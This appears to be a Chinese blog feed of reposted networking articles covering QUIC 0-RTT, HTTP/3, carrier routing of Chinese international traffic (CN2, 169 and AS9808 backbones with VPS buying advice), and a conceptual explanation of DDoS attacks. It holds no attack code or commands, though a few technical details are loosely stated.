首先介绍下什么是 0RTT。所谓的 0RTT 就是通信双方发起通信连接时,第一个数据包便可以携带有效的业务数据。而我们知道,这个使用传统的TCP是完全不可能的,除非你使能了 TCP 快速打开特性,而这个很难,因为几乎没人愿意为了这个收益去对操作系统的网络协议栈大动手脚。未使能 TCP 快速打开特性的TCP传输第一笔数据前,至少要等1个RTT。
我们这里再说说 HTTP2。对于 HTTP2 来说,本来需要一个额外的 RTT 来进行协商,判断客户端与服务器是不是都支持 HTTP2,不过好在它可以和 SSL 握手的请求合并。这也导致了一个现象,就是大多数主流浏览器仅支持 HTTPS2 而不单独支持 HTTP2。因为 HTTP2 需要一个额外的 RTT,HTTPS2 需要两个额外的 RTT,仅仅是增加一个 RTT 就能获得数据安全性,还是很划算的。
何谓 TCP 快速打开,即客户端可以在发送第一个 SYN 握手包时携带数据,但是 TCP 协议的实现者不允许将把这个数据包上传给应用层。这主要是为了防止 TCP 泛洪攻击 [。
因为如果 SYN 握手的包能被传输到应用层,那么现有的防护措施都无法防御泛洪攻击,而且服务端也会因为这些攻击而耗尽内存和 CPU。
当然 TCP 快速打开并不是完全不可行的。人们设计了 TFO (TCP Fast Open),这是对 TCP 的拓展,不仅可以在发送 SYN 时携带数据,还可以保证安全性。
TFO 设计了一个 Cookie,它在第一次握手时由 server 生成,Cookie 主要是用来标识客户端的身份,以及保存上次会话的配置信息。因此在后续重新建立 TCP 连接时,客户端会携带 SYN + Cookie + 请求数据,然后不等 ACK 返回就直接开始发送数据。
服务端收到 SYN 后会验证 Cookie 是否有效,如果无效则会退回到三次握手的步骤,如下图所示:
同时,为了安全起见,服务端为每个端口记录了一个值 PendingFastOpenRequests,用来表示有多少请求利用了 TFO,如果超过预设上限就不再接受。
关于 TFO 的优化,可以总结出三点内容:
TFO 使得 TCP 协议有可能变成 0-RTT,核心思想和 Session Ticket 的概念类似: 将当前会话的上下文缓存在客户端。如果以后需要恢复对话,只需要将缓存发给服务器校验,而不必花费一个 RTT 去等待。
结合 TFO 和 Session Ticket 技术,一个本来需要花费 3 个 RTT 才能完成的请求可以被优化到一个 RTT。如果使用 QUIC 协议,我们甚至可以更进一步,将 Session Ticket 也放到 TFO 中一起发送,这样就实现了 0-RTT 的对话恢复。
让我们看看 QUIC 是怎么做的。
首先声明一点,如果一对使用 QUIC 进行加密通信的双方此前从来没有通信过,那么 0-RTT 是不可能的,即便是 QUIC 也是不可能的。
QUIC 握手的过程需要一次数据交互,0-RTT 时延即可完成握手过程中的密钥协商,比 TLS 相比效率提高了 5 倍,且具有更高的安全性。在握手过程中使用 Diffie-Hellman 算法协商初始密钥,初始密钥依赖于服务器存储的一组配置参数,该参数会周期性的更新。初始密钥协商成功后,服务器会提供一个临时随机数,双方根据这个数再生成会话密钥。
具体握手过程如下:
(1) 客户端判断本地是否已有服务器的全部配置参数,如果有则直接跳转到(5),否则继续
(2) 客户端向服务器发送 inchoate client hello(CHLO) 消息,请求服务器传输配置参数
(3) 服务器收到 CHLO,回复 rejection(REJ) 消息,其中包含服务器的部分配置参数
(4) 客户端收到 REJ,提取并存储服务器配置参数,跳回到(1)
(5) 客户端向服务器发送 full client hello 消息,开始正式握手,消息中包括客户端选择的公开数。此时客户端根据获取的服务器配置参数和自己选择的公开数,可以计算出初始密钥。
(6) 服务器收到 full client hello,如果不同意连接就回复 REJ,同(3);如果同意连接,根据客户端的公开数计算出初始密钥,回复 server hello(SHLO)消息,SHLO 用初始密钥加密,并且其中包含服务器选择的一个临时公开数。
(7) 客户端收到服务器的回复,如果是 REJ 则情况同(4);如果是 SHLO,则尝试用初始密钥解密,提取出临时公开数
(8) 客户端和服务器根据临时公开数和初始密钥,各自基于 SHA-256 算法推导出会话密钥
(9) 双方更换为使用会话密钥通信,初始密钥此时已无用,QUIC 握手过程完毕。之后会话密钥更新的流程与以上过程类似,只是数据包中的某些字段略有不同。
想起有一个名言:计算机领域没有什么问题是加一层解决不了的,如果有,就再加一层。网络模型本来就是层层累加,到了 Web 得以快速生动的展现给人们以丰富的内容。从 HTTP 的演变过程中,我们可以看到中间又累加了若干层。不知道以后,又会是怎么样呢?
大家会发现,笔者在文中不止一次提到了演变这个词。是的,这是来自达尔文进化论中的理论。在笔者看来,“物竞天择,适者生存”的演变理论和计算机领域的技术变化是很类似的,只不过在这里,不是天择,而是人择。由市场,由用户来选择。不知道接下来,作为选择者的我们,又将怎样主导技术的走向?
]]>本文转自:https://www.upyun.com/tech/article/577/HTTP%2F3 来了,你了解它么?.html
作为我们网上冲浪最为常见,也经常被人忽视的 HTTP 已经更新换代到了 HTTP/3。本文简单明了的带你认识 HTTP/3 的作用。
要深入了解 HTTP/3,那首先要知道什么是 HTTP/3。
如上图所示,HTTP/3 是基于 QUIC 的协议。而 QUIC 协议是 Google 提出的一套开源协议,它基于 UDP 来实现,直接竞争对手是 TCP 协议。
另外,要聊 HTTP/3,HTTP 的发展历程是怎么也绕不过去的,而且可以讲很久。
今天我们在这里简单说一下 HTTP/3 相比较 HTTP/2 进步的那些点。
回归正题,相比 HTTP/2 而言 HTTP/3 有以下几点提升:
HTTP/3 使用 stream 进一步扩展了 HTTP/2 的多路复用。在 HTTP/3 模式下,一般传输多少个文件就会产生对应数量的 stream。当这些文件中的其中一个发生丢包时,你只需要重传丢包文件的对应 stream 即可。
HTTP/3 不再是基于 TCP 建立的,而是通过 UDP 建立,在用户空间保证传输的可靠性,相比 TCP,UDP 之上的 QUIC 协议提高了连接建立的速度,降低了延迟。
通过引入 Connection ID,使得 HTTP/3 支持连接迁移以及 NAT 的重绑定。
HTTP/3 含有一个包括验证、加密、数据及负载的 built-in 的 TLS 安全机制。
拥塞控制。TCP 是在内核区实现的,而 HTTP/3 将拥塞控制移出了内核,通过用户空间来实现。这样做的好处就是不再需要等待内核更新可以实现很方便的进行快速迭代。
头部压缩。HTTP/2 使用的 HPACK,HTTP/3 更换成了兼容 HPACK 的 QPACK 压缩方案。QPACK 优化了对乱序发送的支持,也优化了压缩率。
没有哪项技术是完美无缺的,更不用说是还在发展中的 HTTP/3 了。
HTTP/3 建立传输用的是 UDP 协议,而在 HTTP/3 出现前 UDP 的通常出现地点是类似《计算机网络》这样的书面理论,即便是实际应用也大多和网络攻击一起出现,这就导致 UDP 的名声不太好。名声差了自然在硬件上的支持也捉襟见肘,大部分互联网服务也就理所当然的对 UDP 的访问进行限制。
但是毫无疑问的,HTTP/3 是目前最前沿的互联网标准,它的缺点可以通过不断的改进来完善。相比与 HTTP/3 本身的缺陷问题,作为一项新技术最致命的问题是能否获得足够多的有效支持,从而进行大范围推广。
那么当前的环境已经有迎接 HTTP/3 的能力了么?
HTTP/3 作为互联网的标准革新之一,在支持方面无非两点,一个是服务端,一个是客户端。
先来看一下客户端,大家所熟悉的浏览器 Chrome 以及常用 Curl 命令行工具都已经支持 HTTP/3 特性。在 Chrome 的开发者工具一栏里你可以看到一项显示为“HTTP/2+quic/99”,这就是 Chrome 已经支持 HTTP/3 的证据。毕竟 HTTP/3 的组成离不开 QUIC 协议。
而在 Curl 命令行工具(https://github.com/curl/curl) 的最新版本, 你只需在常规的命令末尾添加“--HTTP/3”即可使用 HTTP/3,如果目标服务器支持,它会自然的返回“HTTP/3 200”。
确认了客户端的支持,我们接下来看一下服务端。
自 2013 年 QUIC 被正式公开以来,到 2020 年已经发展了差不多7年,目前网上已经有了不少热门开源的项目,除去带头大哥 Google 在完成了对自身搜索引擎的支持,还同时拉上了 Gmail 、YouTube 等站点。但对于国内的绝大部分站点来说,HTTP/3 之路,似乎还停留在东土大唐,即使 Nginx 已经公开声明:“我们已经支持 QUIC 协议“。
我们可以看到,虽然目前环境还没有全面迭代到 HTTP/3 ,但是 HTTP/3 的发展是不可阻拦的。
]]>本文转自:https://zhuanlan.zhihu.com/p/64467370
根据新华网最新的报道指出,截至 2019 年 4 月,全国三大运营商——电信、联通、移动保有宽带用户数如下:
中国电信:1.46 亿户;
中国联通:0.8088 亿户
中国移动:1.57 亿户。
根据公布在 中华人民共和国国家互联网信息办公室&中共中央网络安全和信息化委员会办公室 页面的,由 中国互联网络信息中心 于 2019 年 2 月公布的“第43次《中国互联网络发展状况统计报告》”指出,国内主要骨干网络国际出口带宽共有 8,946,570 Mbps,国内主流三大运营商所拥有的国际出口带宽数据如下:
中国电信:4,537,680 Mbps;
中国联通:2,234,738 Mbps;
中国移动:1,997,000 Mbps;
由此可得,各家出口带宽的总量比较如下:
中国电信 > 中国联通 > 中国移动
结合上述宽带用户数,可得各家人均用户出口带宽量比较如下:
中国联通 > 中国电信 > 中国移动
国际出口带宽量的增长,与海缆建设周期息息相关:
根据中国信息通信研究院公布的中国国际光缆互联互通白皮书指出:
2009-2012 年,数据中心成为驱动国际海底光缆建设的最大驱动力,国际海底光缆又迎了一个建设小高潮。目前,全球海缆建设正在进入第三次建设高潮,全球 40%的海缆是 2000 年之前建设的,已经逐步进入了海缆使用生命 周期的尾期,未来几年,数据中心互联及互联网带宽需求将持续增长, 全球海缆将进入一个新旧更替的时期,形成海缆布局的时间窗口, 2016 年跨太平洋、跨大西洋、亚欧间海缆系统已经开始升级换代。
2013 年国际出口带宽的猛增,和云计算的普及息息相关。
另外,随着老旧的中美光缆(CUCN)于 2016 年底退役,目前中美之间的连接,主要由太平洋直达高速光缆(TPE)和正在建设的新跨太平洋国际海底光缆(NCP)承载,NCP 建成后,将极大缓解中美之间网络拥堵的状况。
“人均”问题不解决,晚高峰拥堵的状况是注定无解的:
与未来国际流量发展预期和世界主要国家相对,中国的国际海缆发展仍显不足,美国的海缆数量是中国的 8 倍,人均带宽是中国近 20 倍;日本的海缆数量是中国 2 倍多,人均带宽是中国近 10 倍;英国海缆数量是中国的 5 倍多,人均带宽是中国 72 倍;新加坡海缆数量是中国 2 倍多,人均带宽是中国 262 倍。
前途是光明的,道路是曲折的,海缆建设是一个投资大的、长期的、系统化的、复杂的工程,既然正在规划中的海缆,并不能直接享受到,所以我们就只能就目前的情况,做一个分析。
看过上述分析的同学应该晓得了,如果有经常访问外网的需求,使用中国联通的固网是最明智的选择,那么,这三大运营商的国际出口路由具体是什么情况呢?我们来逐一分析。
中国电信目前拥有两条线路,一条是 163 骨干网(ChinaNet),另一条就是 CN2 网络;
相对 CN2 而言,有的人又习惯称 163 骨干网为 CN1,163 网是中国电信建设的最早的一个网络,它为超过 1 亿的中国电信用户承载包括连往境外的,普通质量的互联网业务。身为电信用户,如果在晚上连接境外网络总是感觉卡顿,丢包高,99.99%的原因都是因为走的这张网,大家一起挤,线路就 boom 了;
CN2,即“ChinaNet Next Carrying Network(ChinaNet 的下一代承载网络)”,在 2005 年投入使用,最初架设的目标,是提供一个拓扑合理,架构先进,建设科学,用于满足未来 10-20 年替代 163 网成为未来新骨干网的网络(这个 flag 还未实现),CN2 网络能够同时承载语音、数据、视频、全球互联等业务,尤其是全球互联方面,相对于 163 网而言,CN2 网络的低丢包、低延时、轻负载,让众多用户趋之若鹜;
据统计,在中国电信的总网络连接中,163 网络承担了 85% 的网络流量,其余的 15% 流量,由 CN2 网络承担;
除了上篇文章我们提到的,外网走专线的中国电信政企网,中国电信还针对普通宽带用户,推出过氮气瓶,或称为“电信精品网”的服务,但不知道何种原因(疑似超售),这种服务现在不提供了。简单来讲,就是不管境外网络节点是普通线路,还是专门推出的CN2 网络优化版(仅针对中国大陆的通信),让在境内用户访问境外网络时,统一直接并入到 CN2 网络;
回国或出国,必定经过北京/上海/广州;
进出口路由路径,分为三个品级:
网络路由路径遵守固定路径/边界网关协议(BGP);
在高峰期会有策略性丢包减少对骨干网的负载;
虽然出口宽带总量最大,且人均出口带宽排行第二,但电信 163 网连接国际网络,会在高峰时段,在路由出海前的最后一跳,根据优先级,策略性地人为丢包,以减轻对主网的负担(QOS),这让普通电信用户糟糕的外网访问质量雪上加霜;
中国电信的服务主旨:用户能用钱解决的问题,都不是问题,剩余的问题,统统都是因为“钱没给够”而导致的问题。
中国电信 163 网络 AS4134 路由拓扑图,图示来源:https://bgp.he.net/AS4134
IPv4:
IPv6:
说明:
中国电信的 163 网络,一般会经过市级 → 省级 → 国际出口 → 境外接入点 AS(自治路由协议) 号为 4134 的路由节点,这些路由节点的 IP 地址开头一律是 “202.97..”,全程不会经过 CN2 网络节点;
163 网络国内之间互相访问基本上不存在性能瓶颈,只有在国际出口才会发生拥堵;
仅统计国际网络的访问质量,163 网络全天的丢包率在 5% ~ 10%左右,如果在夜晚间高峰期(UTC+8 18:00 至 23:00 时),丢包率可达到 15% 以上;
会经过更多的路由数量;
163 网(民用电信宽带都属于这种),是全中国用户数量最大,访问国际网络体验最差的线路,国外网站用浏览器打开需要转圈等上个十来分钟,PC、PS、Xbox 连接外服下载极慢(十几 kb / 秒),玩游戏卡顿(丢包)等现象屡见不鲜;
除了例如自“云上贵州”落地中国后,iOS / Mac 用户连接 app store、iCloud 速度迟缓的情况大有改观这样的案例,所有 163 网用户在访问没有在中国大陆境内(不包含港澳台)布设本地服务器或 CDN 加速服务的境外网站或网络服务,被迫忍受极其缓慢的速度等现象,在未来 10 - 20 年之内无法缓解;
某国家级别大型网关,利用机器学习和人工干预等手段,会实时对境内和境外通信的互联网流量,做深度包检测、数据请求头分析、带高危协议特征流量的干扰和阻断等工作,从而保障中华人民共和国互联网通信的安全,代价是损耗一部分外网通信的性能(存疑);
不要想当然地以为,某 VPS 距离接入网络的地域蛮近的(上海 → 日本 / 广州 → 新加坡等),延迟和掉包情况一定不大,在该 VPS 商家有大量用户访问和绕路以及晚高峰情况下,163 网络的劣化程度比你想象的要严重得多:如从中国 → 新加坡(godaddy 新加坡虚拟主机),实际上是从中国 → 美国 → 新加坡),单程环两次北太平洋,看你怕不怕。
一个典型的 163 网络的国际访问路由,注意出海前经过路由的 AS 号和对应的 IP 地址
16 ~ 17 年时,连接亚太地区的路径普遍较差,绕美是家常便饭.
从 18 年末,渐渐有了好转,电信一般都是绕日 NTT 过去,不过访问质量依旧很糟糕,线路无优化商家的劣势就是通信不稳定:
中国电信 CN2 网络 AS4809 路由拓扑图,图示来源:https://bgp.he.net/AS4809
IPv4:
IPv6:
说明:
CN2 网络的拓扑图远比 163 网复杂许多,整个网络的建设充分利用了各个节点之间的互联性,而不像 163 网那样简单粗暴地采用从上到下、从一到多的布设逻辑,从而充分使每一个节点在遭遇重负载时,可以迅速由周围节点来缓解负载;
CN2 GT 产品在从市级 → 省级 → 国际出口这一段走的是 163 网络,国际出口 → 境外接入点这一段汇入 CN2 网络,返程同理,偶尔可能会走联通的国际网络;
作为典型的半程 CN2 产品,CN2 GT 网络的数据包即使在国际间传送几乎不会出现丢包的情况,但依然非常容易在国内这一段拥堵时,出现被中国电信舍弃数据包的情况,CN2 GT 网络全天的丢包率在 4% ~ 6%左右,如果在夜晚间高峰期(UTC+8 18:00 至 23:00 时),丢包率可达到 8% 以上;
CN2 GIA 产品在从市级 → 省级 → 国际出口 → 境外接入点的过程中,全程走 AS 号为 4809 的路由节点,这些路由节点的 IP 地址开头一律是 “59.43..”,全程不会经过 163 网络节点;
在没有购买昂贵的政企专线网络或氮气瓶加速服务的情况下,中国电信普通宽带用户连接海外节点具体走何种线路,取决于对方节点采用了何种路由自治协议,当然,决定它并不是靠心情,而是要和接入的电信运营商签署协议,一旦签署了走何种协议,如纯 CN2 网络,势必要向中国电信缴纳一笔高昂的 CN2 网络使用费用(最后这笔钱还得由用户承担),这就导致支持 CN2 GIA 网络的 VPS 产品价格最昂贵,CN2 GT 价格其次,163 网最为低廉(不用向中国电信缴纳一笔专门优化中国线路的银子);
作为中国电信的旗舰产品,CN2 GIA 产品的表现绝不会令任何人失望,无论是白天,还是晚高峰时期,纯 CN2 线路的掉包率均在 0.1% 以下,用户在访问过程中,行云流水,畅快丝滑。
其实如果更严格地划分,CN2 GIA 产品还分为单网、双网、三网三种,顾名思义,单网 CN2 GIA 一般指的是仅中国电信用户访问去回,走 CN2 GIA 网络,联通/移动/教育网等用户访问过去,均走各自运营商的国际出口(典型产品为阿里云国际香港节点);双网 CN2 GIA 一般指的是中国电信/中国联通用户访问过去,走 CN2 GIA 网络(特别地,该产品允许中国联通线路在省级跨网并入到中国电信的 CN2 网络,典型产品为标准互联的圣何塞 CN2 GIA 产品);三网 CN2 GIA 一般指的是中国电信/中国联通/中国移动三网用户的去回访问,均会在省级并入到 CN2 网络,适用性最强(典型产品为搬瓦工的 DC9、DC6 机房)。
部分偏远地区的电信用户(比如在县级、村级、非重点市级)访问境外 CN2 GIA 线路的服务器时,会经过 IP 地址为 202.97.. 的 AS4314 路由一跳,并入到已布设 CN2 网络的重点市级节点,随后再全程走 CN2 网络。
由于担负的网络流量并不高,冗余量不够,CN2 网络的防御力比较脆弱。比如说,VPS 商之间同行攻击的情况屡见不鲜,所以很容易发现某家 CN2 GIA 网络的 VPS 一旦被打(DDoS攻击),毫无还手之力,整个网络会陷入瘫痪,只有等硬扛过去,该家的 CN2 GIA 网络才能重新恢复使用。
一个非常典型的 CN2 GIA 网络,注意跳了一下 202.97 打头的路由,其余全程 59.43:
一个非常典型的 CN2 GT 网络,注意在国内走的时候,一定是 202.97 路由,出海后再走 59.43 路由:
中国联通宽带用户增长率不高,拥有的总用户数最近竟被移动赶超,目前市场份额处于垫底,但对用户来说无疑是极其利好的消息。因为其拥有全国仅次于电信用户的国际总出口带宽,这就意味着中国联通用户访问外网遭遇的烦心事儿比电信和/移动用户要少很多,如果不想在 CN2 GIA 上花一笔大洋,一个普通中国联通宽带用户的国际访问“人权”是最有保障的;
出海和归来均走北上广;
出/回走 AS4837(联通 169 网络)/AS9929(A网)路由,暂无类似中国电信那样的国际精品网络产品;
网络路由路径遵守固定路径/边界网关协议(BGP);
晚高峰时期骨干网选择性丢包的力度比中国电信低很多;
美日线路绝赞性价比。
中国联通 169 网络 AS4837 路由拓扑图,图示来源:https://bgp.he.net/AS4837
IPv4:
IPv6:
说明:
中国联通普通用户从市级 → 省级 → 国际出口 → 境外接入点的过程中,全程走 AS 号为 4837 的路由节点,这些路由节点的 IP 地址开头一律是 “219.158..”,全程不会经过 A网(AS9929);
经过的路由数较多,导致延迟普遍比 CN2 GIA 网络要高;
169 网络全天的丢包率在 1% ~ 3%左右,如果在夜晚间高峰期(UTC+8 18:00 至 23:00 时),丢包率可达到 4% 以上;
如果用户生活在中国联通的国际出口城市(北/上/广),或离这三座城市的距离很近,那么可以获得非常不错的延迟。
美国地区:直连,不错。
新加坡地区,比较依赖对方 VPS 商的线路优化,很多情况下联通去程统一绕日本 NTT(一家我很讨厌的日本线路,不谈国际声誉,只要从中国连接到日本走得是这条线,不爆炸我送你一包辣条)过去;回程直连广州联通或是依旧绕日返回。除了阿里云国际新加坡这样对三网不错的,联通用户慎选新加坡机房。
香港地区,也得看商家和线路,最普通的,如 Softlayer 等,依旧绕日 NTT,垃圾的一批;部分线路不错的机房,如安畅机房、沙田、香港阿里云、PCCW 等,一般直接从广州联通过去,到港走香港联通或香港 PCCW,但这种机房一般都是针对三网一起优化的,联通当然跑的也不差,除非兼顾其他运营商的访问者,否则联通用户没必要花大价钱选择三网优化的香港地区机房。
日本地区,表现之好,花费之低,超乎想象,尤其是众多日本本土 VPS 商(如 Cloudgarage、IDCF、Kagoya、Conoha、Sakura、ABLENET、GMOCloud等),联通用户去/回程统一经过上海联通的 IIJ 线路,质量非常理想,且上述日本本土商家的月付价格普遍不高,非常值得联通用户的选择,诸如 Linode 东京区二(Linode 东京区一走纯 KDDI 线路,联通表现也不错,可惜早已绝版)/ Vultr 东京等机房,走的是 NTT 线路,线路质量奇差,虽然它们购买门槛低,但非常不值得选择,买之前一定要测一下。
不少研究日本 VPS 的同学,都知道中日之间有一条品级最高的线路,名曰 bbtec ,我有必要单独拿出来说一下,它是日本软银(Soft Bank)的定制线路,神壕专属,价格昂贵。日本阿里云有在用这条线路,但一个是接入该线路的 VPS 商家本来就不多,产品难寻,还有就是阿里云日本的账号注册限制太严,非日本本土手机号+无日本国内住所无法收到纸质注册确认信并寄回就不能买,这就挡住几乎所有国内人了。我印象里能勉强买到,且提供 bbtec 的只还有 Ucloudbiz,他家机房实际在韩国首尔,IP 地址映射到的日本福冈,XEN 虚拟架构,不如主流的 KVM 先进,价格也不便宜。另一方面就是感觉 bbtec 这款线路高不成低不就的:对电信用户,bbtec 国内部分并未接入 CN2,走得依旧是 163,该卡还是卡,且日本地区根本就没有 CN2 GIA 产品,所以中国电信用户在任何时候都绝不应该选择任何一家日本地区的 VPS,加多少钱都没有更好的效果;对联通用户而言,有物美价廉的 IIJ 为何要选它;对移动用户而言,没有任何特殊加成,还得从广州过去,舍近求远,你高攀不起,它爱搭不理,bbtec 线路我觉得没有任何入手价值。
韩国地区,韩国地区的 VPS 市场竞争不充分,可以购买的本地商家不多,大多由国人代理运营,印象减分,再加上韩国地区比较严厉的互联网成人内容管制政策,韩国 VPS 有一条 porn 墙,不值得选择。
俄罗斯地区,毛熊的不少线路对联通用户是比较友好的,与中国临近,地理位置不吃亏,价格比较实惠。联通统一从北京出发,经过 Rostelecom (https://rt.ru) 线路过去,来回新西伯利亚机房的质量普遍比莫斯科的要好。但还有以下这些无法克服的问题:1. 用俄语难以跟客服沟通;2. 不支持支付宝,paypal,付款困难;3. 别想着用来给美服、港服吃鸡,游戏加速,俄罗斯地区连接香港和美国的延迟极高;4. 同理,移动固网用户会先去香港,再去俄罗斯,延迟很高;5. 如果是建站,只有中国联通、欧洲用户访问过去的速度不错,全世界其他地区连接俄罗斯的速度都不理想,随着国力衰弱,俄罗斯网络设施的可利用价值不太高;
海外国人运营,支持支付宝付款,价格奇低,非一线大厂,NTT 线路,犄角旮旯地区,符合上述六条规则中的三条,打死都别碰,碰就是交学费。
一个典型的中国联通 169 网络连接外网路径图:
169 网络的中美回程也不绕路:
169 网络也比较看中对方 VPS 商的线路优化:
御三家:Linode/Vultr/DigitalOcean 新加坡节点电信/联通去程绕日,费拉不堪:
普通新加坡线路回程部分从广州直连回来,部分依旧绕日:
IIJ 线路对联通十分友好,非常适合中国华东、华南地区的联通用户选择:
珍爱生命,远离 NTT:
生活在中国东北、华北地区,且预算有限的联通用户,可以试试俄罗斯 VPS:
中国联通 A 网 AS9929 路由拓扑图,图示来源:https://bgp.he.net/AS9929
IPv4:
IPv6:
说明:
169 网络和 A 网之间的区别,与 163 网络和 CN2 之间的区别并不是一个概念,A 网早在中国网通时代就已存在,属于中国网通的骨干网。在网通和联通合并后,联通仍继续建设当年从电信 163 网分出来的那一部分,即现如今的 169 网(分出来的原因是应当年政企分离的要求,不是电信自己分的),而这张 A 网就闲置了。虽然该产品的定位,名义上和中国电信的 CN2 网络对标,但这张“吃老本”的 A 网所具备的优势仅仅是用户少,网络负荷小,所以表现也还不错,一般给政企、高端用户使用。但由于这张网络多年没有再发展,所以跟持续扩容的 CN2 比,质量方面的差距只会越来越大。
从市级 → 省级 → 国际出口 → 境外接入点的过程中,全程走 AS 号为 9929 的路由节点,这些路由节点的 IP 地址开头一律是 “218.105../210...*”,部分偏远地区,会经过 169 网络汇入到 A 网;
由于该网的建设初衷就是为国内的网络服务,A 网仅会出现在国内,去程出海后一律并入到 169 网络上;回程必须要经过 169 网络,走到国内部分才转入到 A 网,这是所谓“精品 A 网”与 CN2 网络之间最大的差别;
通过 A 网络访问外网全天的丢包率在 1% ~ 2%左右,如果在夜晚间高峰期(UTC+8 18:00 至 23:00 时),丢包率可达到 3% 以上;
这个网的技术并不先进,用的人只要变多,或是负责出海数据去回的 169 网炸了,就顿露马脚。
一个典型的中国联通 A 网回程路由:
对方网络没做优化的情况下,A 网回程也不会绕路:
红框圈起来的就是传说中的 A 网,出海后果然便汇入到 169 网络上:
中国移动进出国际网络,在国内经过的绝大部分流量,均由 AS9808 网络承载,旧铁通的 AS9314 网络几乎已被放弃;
暂未发现中国移动有“精品出口网络”产品;
AS9808 网络在北京/上海/广州均有进出海光缆,距多方 Traceroute 观察,广州移动承担了大部分中国移动网络进出口的流量,如中美、中国东南亚等地区;
PCCW 与中国移动有着说不清道不明的屁眼交易关系;
上海移动仅提供分散广州移动出口流量的职能,且流经上海移动的流量,会转交给国内其他运营商(如联通)进行国际通信;
北京移动主要承担与欧洲地区进出口流量的通信(直连,非绕美);
网络路由路径遵守固定路径/边界网关协议(BGP);
暂未确定在高峰期是否会有策略性丢包,以减少对骨干网的负载;
通过手机用户赠宽带等方式,中国移动迅速积累了一大批固网宽带用户,在总出口量排行老三、总用户量跃居国内第一的情况下,如果不大幅拓展国际总出口量,未来普通移动网络用户的国际互联网访问质量着实堪忧。
中国移动 AS9808 路由拓扑图,图示来源:https://bgp.he.net/AS9808
IPv4:
IPv6:
说明:
中国移动的进出口跳跃性很大,国内部分必走 AS9808 路由(221.176../221.183..),在部分地区访问部分 VPS,会并入到铁通 AS9314/电信 163 网络/联通 169 网络的路由节点;
目前来看,中国移动网络的国际访问质量中规中矩,尤其是电信用户谈之色变的东南亚未优化 VPS 线路(一般要从日本 NTT 过去或是绕美),在移动用户看来真是小 Case,如果不能通过广州移动直接过去,那就呆在广州移动绕一圈再过去;
PCCW(电讯盈科) 线路目前是中港之间或是从中国到东南亚其他地区前且必须从香港中转线路的中,国内除纯 CN2 GIA 以外质量最好的线路;
以前移动就有“国内墙中墙,国外直接上”的优良传统,通过 AS9808 网络访问外网全天的丢包率在 1% ~ 3%左右,如果在夜晚间高峰期(UTC+8 18:00 至 23:00 时),丢包率可达到 3% 以上;
国内部分需经过的路由节点较多;
回程和去程的路径很少恶意绕路。
绕道联通
直连且有独立的中美线路
访问 Vultr 新加坡的线路质量很不错,三网最佳
对于位于香港的服务器,VPS 商如果和移动有合作,则全程走中国移动线路,否则走 PCCW
北京移动主要负责处理欧洲地区的外网通信
即使有“全程 CN2”、“A 网”等“精品网络”光环加持,一定不要忘了,网络速度、延迟、丢包等关键指标,还与 VPS 商的销售行为息息相关,就比如说,商家标称“共享 1Gbps”,如果平均分给 8 个人用,每个人能享受到的速度就是 128Mbps,但如果商家贪心,把 VPS 超售 10 倍(无论是 OpenVZ/KVM/HyperV 等架构,网络端口都可以为所欲为地超售),那么每个人在高峰期只能享用 12.8 Mbps 的带宽,如果你的邻居们各个都是“一键脚本”大神,什么锐速、暴力魔改 BBR、KCPTun 多倍狂发包 等争抢网络资源的奇技淫巧一股脑儿使劲怼,而你什么优化也不做时,自然就更吃亏,源头速度被卡死了,国家给你单独铺一条海缆也没用。
#牢记品质三原色
本文转自:https://www.cloudflare.com/zh-cn/learning/ddos/what-is-a-ddos-attack/
分布式拒绝服务(DDoS)攻击是通过大规模互联网流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为。
DDoS 攻击利用多台受损计算机系统作为攻击流量来源以达到攻击效果。利用的机器可以包括计算机,也可以包括其他联网资源(如 IoT 设备)。
总体而言,DDoS 攻击好比高速公路发生交通堵塞,妨碍常规车辆抵达预定目的地。
DDoS 攻击是通过连接互联网的计算机网络进行的。
这些网络由计算机和其他设备(例如 IoT 设备)组成,它们感染了恶意软件,从而被攻击者远程控制。这些个体设备称为机器人(或僵尸),一组机器人则称为僵尸网络。
一旦建立了僵尸网络,攻击者就可通过向每个机器人发送远程指令来发动攻击。
当僵尸网络将受害者的服务器或网络作为目标时,每个机器人会将请求发送到目标的 IP 地址,这可能导致服务器或网络不堪重负,从而造成对正常流量的拒绝服务。
由于每个机器人都是合法的 Internet 设备,因而可能很难区分攻击流量与正常流量。
DDoS 攻击最明显的症状是网站或服务突然变慢或不可用。但是,造成类似性能问题的原因有多种(如合法流量激增),因此通常需要进一步调查。流量分析工具可以帮助您发现 DDoS 攻击的一些明显迹象:
* 来自单个 IP 地址或 IP 范围的可疑流量
* 来自共享单个行为特征(例如设备类型、地理位置或 Web 浏览器版本)的用户的大量流量
* 对单个页面或端点的请求数量出现不明原因的激增
* 奇怪的流量模式,例如一天中零碎时间上的激增或看似不自然的模式(例如,每 10 分钟出现一次激增)
DDoS 攻击还有其他更具体的迹象,具体取决于攻击的类型。
不同类型的 DDoS 攻击针对不同的网络连接组件。为了解不同的 DDoS 攻击如何运作,有必要知道网络连接是如何建立的。
互联网上的网络连接由许多不同的组件或“层”构成。就像打地基盖房子一样,模型中的每一步都有不同的用途。
OSI 模型(如下图所示)是一个概念框架,用于描述 7 个不同层级的网络连接。
虽然几乎所有 DDoS 攻击都涉及用流量淹没目标设备或网络,但攻击可以分为三类。攻击者可能利用一种或多种不同的攻击手段,也可能根据目标采取的防范措施循环使用多种攻击手段。
此类攻击有时称为第 7 层 DDoS 攻击(指 OSI 模型第 7 层),其目标是耗尽目标资源。
攻击目标是生成网页并传输网页响应 HTTP 请求的服务器层。在客户端执行一项 HTTP 请求的计算成本比较低,但目标服务器做出响应却可能非常昂贵,因为服务器通常必须加载多个文件并运行数据库查询才能创建网页。
第 7 层攻击很难防御,因为难以区分恶意流量和合法流量。
HTTP 洪水攻击类似于同时在大量不同计算机的 Web 浏览器中一次又一次地按下刷新 – 大量 HTTP 请求涌向服务器,导致拒绝服务。
这种类型的攻击有简单的,也有复杂的。
较简单的实现可以使用相同范围的攻击 IP 地址、referrer 和用户代理访问一个 URL。复杂版本可能使用大量攻击性 IP 地址,并使用随机 referrer 和用户代理来针对随机网址。
协议攻击也称为状态耗尽攻击,这类攻击会过度消耗服务器资源和/或防火墙和负载平衡器之类的网络设备资源,从而导致服务中断。
协议攻击利用协议堆栈第 3 层和第 4 层的弱点致使目标无法访问。
SYN 洪水就好比补给室中的工作人员从商店的柜台接收请求。
工作人员收到请求,前去取包裹,再等待确认,然后将包裹送到柜台。一时之间,工作人员收到太多包裹请求,来不及确认,直到无法处理更多包裹,实在不堪重负,致使无人能对请求做出回应。
